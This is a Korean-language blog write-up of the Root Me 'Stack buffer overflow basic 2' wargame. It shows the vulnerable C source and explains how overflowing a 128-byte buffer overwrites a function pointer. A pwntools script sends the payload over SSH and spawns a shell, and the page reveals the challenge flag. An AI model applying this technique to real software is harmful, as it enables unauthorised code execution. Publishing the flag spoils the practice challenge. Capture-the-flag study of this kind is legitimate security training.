본문 바로가기

Pwnable/RootMe

Root Me wargame ELF x86 - Stack buffer overflow basic 2 write-up

1번 문제와 비슷한 문제이다.

소스코드를 보면서 이해해보자.

c
닫기
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> void shell() { ​​​​setreuid(geteuid(), geteuid()); ​​​​system("/bin/bash"); } void sup() { ​​​​printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } void main() { ​​​​int var; ​​​​void (*func)()=sup; ​​​​char buf[128]; ​​​​fgets(buf,133,stdin); ​​​​func(); }

버퍼 변수 위에 sup 함수의 주소 값을 담는 변수가 있고 그 변수로 함수를 호출한다.
128byte짜리 변수에 133byte를 입력받기 때문에 bof가 일어난다.
bof를 통해 버퍼 변수에 128byte를 채워넣고 func 변수에 shell 함수의 주소 값을 넣어주면 shell 함수가 실행될 거 같다.

gdb로 shell 함수의 주소값을 알아보자.

shell 함수의 주소는 0x08048516 임을 알았다.

이제 소스코드를 짜 보자.

python
닫기
from pwn import * s = ssh(user='app-systeme-ch15',host='challenge02.root-me.org',port=2222,password='app-systeme-ch15') p = s.process('./ch15') payload = 'A' * 128 payload += '\x16\x85\x04\x08' p.sendline(payload) p.interactive()

 

쉘을 획득했다.

플래그 등장!!

FLAG :B33r1sSoG0oD4y0urBr4iN